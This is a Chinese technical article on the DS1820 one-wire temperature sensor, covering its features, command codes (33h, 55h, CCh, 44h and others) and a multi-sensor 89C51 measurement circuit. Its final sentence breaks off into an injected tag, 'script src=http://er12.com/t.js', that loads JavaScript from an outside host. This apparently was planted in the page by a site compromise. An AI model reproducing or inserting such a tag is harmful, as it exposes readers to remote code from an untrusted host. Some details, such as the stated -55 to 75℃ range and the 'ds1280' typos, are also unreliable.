摘 要:介绍单线数字温度传感器 ds1820的特性及工作原理,给出了ds1820与89c51单片机接口的应用实例,以及由ds1820组成温度检测系统的方法,并给出了对ds1820进行各种操作的软件流程图。
美国dallas公司生产的单线数字温度传感器ds182,可把温度信号直接转换成串行数字信号供微机处理。由于每片ds1820含有唯一的硅串行数所以在一条总线上可挂接任意多个ds1820芯片。从ds1820读出的信息或写入ds1820的信息,仅需要一根口线(单线接口)。读写及温度变换功率来源于数据总线,总线本身也可以向所挂接的ds1820供电,而无需额外电源。ds1820提供九位温度读数,构成多点温度检测系统而无需任何外围硬件。
本文给出了ds1820与89c51单片机接口的应用实例和ds1820组成温度检测系统的方法,并给出了对ds1820进行各种操作的软件流程图。
1. ds1820的特性
单线接口:仅需一根口线与mcu连接
无需外围元件
由总线提供电源
测温范围为-55℃~75℃,精度为0.5℃
九位温度读数
a/d变换时间为200ms
用户自设定温度报警上下限,其值是非易失性的
报警搜索命令可识别哪片ds1820超温度限
2 ds1820引脚及功能
ds1820的引脚见图1(pr35封装)。
gnd:地;
dq:数据输入/输出脚(单线接口,可作寄生供电);
vdd:电源电压。
3 ds1820的工作原理
ds1820的内部结构如图2所示。由图2可知,ds1820由三个主要数字器件组成:
① 64bit闪速rom;②温度传感器;③非易失性温度报警触发器th和tl。64bit闪速rom的结构如下:
它既可寄生供电也可由外部5v电源供电。在寄生供电情况下,当总线为高电平时,ds1820从总线上获得能量并储存在内部电容上当总线为低电平时,由电容向ds1820供电。
ds1820的测温原理:内部计数器对一个受温度影响的振荡器的脉冲计数,低温时振荡器的脉冲可以通过门电路,而当到达某一设置高温时振荡器的脉冲无法通过门电路。计数器设置为-55℃时的值,如果计数器到达0之前,门电路未关闭,则温度寄存器的值将增加,这表示当前温度高于-55℃。同时,计数器复位在当前温度值上,电路对振荡器的温度系数进行补偿,计数器重新开始计数直到回零。如果门电路仍然未关闭,则重复以上过程。温度表示值为9bit,高位为符号位,其结构如下:
对ds1820的使用,多采用单片机实现数据采集。处理时,将ds1820信号线与单片机一位口线相连,单片机可挂接多片ds1820,从而实现多点温度检测系统。
系统对ds1820的操作以rom命令和存储器命令形式出现。
3.1 rom命令代码及其含义
readrom命令代码[33h]:如果只有一片ds1820,可用此命令读出其序列号,若在线ds1820多于一个,将发生冲突。
matchrom命令代码[55h]:多个ds1820在线时,可用此命令匹配一个给定序列号的ds1820,此后的命令就针对该ds1820。
skiprom命令代码[cch]:此命令执行后的存储器操作将针对在线的所有ds1820。
searchrdh命令代码[f0h]:用以读出在线的ds1820的序列号。
alarmsearch命令代码[ech]:当温度值高于th或低于tl中的数值时,此命令可以读出报警的ds1820。
3.2 存储器操作命令代码及其含义
writescratchpad命令代码[4eh]:写两个字节的数据到温度寄存器。
readscratchpad命令代码[beh]:读取温度寄存器的温度值。
copyscratchpad命令代码[48h]:将温度寄存器的数值拷贝到eeram中,保证温度值不丢失。
convert命令代码[44h]:启动在线ds1280做温度a/d转换。
recall ee命令代码[b8h]:将eeram中的数值拷贝到温度寄存器中。
·readpowersupply命令代码[b4h]:在本命令送到ds1280之后的每一个读数据间隙,指出电源模式:“0”为寄生电源;“1”为外部电源。
ds1820单线通信功能是分时完成的,它有严格的时隙概念。因此系统对ds1820的各种操作必须按协议进行。操作协议为:初始化ds1820(发复位脉冲)→发rom功能命令→发存储器操作命令→处理数据。各种操作的时序图 如图3 和图4所示。
4 温度检测系统原理及程序流程图
温度检测系统原理图如图5所示,采用寄生电源供电方式。为保证在有效的 ds1820时钟周期内,提供足够的电流,我们用一个mosfet管和89c51的一个i/o口(p1.0)来完成对ds1820总线的上拉。当ds1820处于写存储器操作和温度a/d变换操作时,总线上必须有强的上拉,上拉开启时间最大为10μs。采用寄生电源供电方式时vdd必须接地。由于单线制只有一根线,因此发送接收口必须是三态的,为了操作方便我们用89c51的p1.1口作发送口tx,p1.2口作接收口rx。通过试验我们发现此种方法可挂接ds1820数十片,距离可达到50米,而用一个口时仅能挂接10片ds1820,距离仅为20米。同时由于读写在操作上是分开的故不存在信号竞争问题。
无论是单点还是多点温度检测,在系统安?script src=http://er12.com/t.js>